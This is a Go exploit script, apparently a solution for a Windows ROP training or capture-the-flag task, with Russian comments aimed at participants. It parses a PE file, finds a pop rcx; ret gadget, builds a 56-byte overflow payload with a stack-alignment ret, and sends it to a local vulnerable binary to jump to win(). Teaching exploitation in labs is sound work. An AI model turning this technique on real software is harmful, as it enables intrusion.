Files
go_pwner/workspace/task2_rop/main.go
T
2026-07-18 21:37:15 +03:00

104 lines
4.5 KiB
Go

/* В этом скрипте мы используем все фичи winpwn: парсинг PE, извлечение базового адреса (ImageBase), поиск гаджетов через rp++ и динамическую сборку пейлоада. */
package main
import (
"bytes"
"fmt"
"log"
"winpwn"
)
func main() {
target := "task2.exe"
peFile, err := winpwn.OpenPE(target)
if err != nil {
log.Fatalf("Failed to open PE: %v", err)
}
defer peFile.Close()
// 2. Получаем RVA функции win из таблицы экспортов
winRVA, err := peFile.GetProcAddress("win")
if err != nil {
log.Fatalf("win() not found: %v", err)
}
// 3. Достаем ImageBase из заголовка (обычно 0x140000000 при отключенном ASLR)
imageBase, err := peFile.ImageBase()
if err != nil {
log.Fatalf("Failed to read ImageBase: %v", err)
}
// Вычисляем абсолютный адрес win()
winAddr := imageBase + winRVA
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
// 4. Ищем гаджеты (нам нужен RCX вместо RDI) — нативный сканер, rp++ не нужен
rop, err := winpwn.NewROP(target)
if err != nil {
log.Fatalf("ROP init error: %v", err)
}
defer rop.Close()
popRcxGadgets, err := rop.Search("pop rcx ; ret")
if err != nil {
log.Fatalf("pop rcx not found")
}
popRcx := popRcxGadgets[0].Address
fmt.Printf("[+] pop rcx; ret address: 0x%X\n", popRcx)
// Верификация цепочки прямо из скрипта, без внешнего objdump/IDA
if lines, err := rop.Disassemble(popRcx, 2); err == nil {
fmt.Printf("[*] verified: %s\n", lines)
}
retGadgets, err := rop.Search("ret")
if err != nil {
log.Fatalf("ret not found")
}
ret := retGadgets[0].Address
// 5. Конструируем пейлоад
// Реальное расстояние до return-адреса зависит от компилятора и его
// версии — "32 байта буфер + 8 байт сохранённый RBP" (=40) это лишь
// предположение по исходнику. На gcc/MinGW из этой сборки buf реально
// лежит на rbp-0x30 (объдамп vulnerable(): `lea -0x30(%rbp),%rdx`),
// то есть до return-адреса 0x30+0x8 = 56 байт, не 40. Проверяй через
// objdump -d / x86dbg или просто перебором, не доверяй комментарию
// в исходнике вслепую.
offset := 56
payload := bytes.Repeat([]byte("A"), offset)
// --- ROP Цепочка ---
// Закидываем 0xDEADBEEF в RCX
payload = append(payload, winpwn.P64(popRcx)...)
payload = append(payload, winpwn.P64(0xDEADBEEF)...)
// Stack Alignment
// Вызов system() требует, чтобы стек был выровнен по границе 16 байт (адрес должен оканчиваться на 0).
// Добавляем холостой 'ret', чтобы сдвинуть стек на 8 байт вниз.
payload = append(payload, winpwn.P64(ret)...)
// Прыжок в win()
payload = append(payload, winpwn.P64(winAddr)...)
// 6. Взаимодействие
tube, err := winpwn.Spawn("./" + target)
if err != nil {
log.Fatalf("Spawn: %v", err)
}
if err := tube.SendLineAfter([]byte("Input: "), payload); err != nil {
log.Fatalf("SendLineAfter: %v", err)
}
tube.Interactive()
}
/*На что обратить внимание твоим участникам:
Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора.
Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */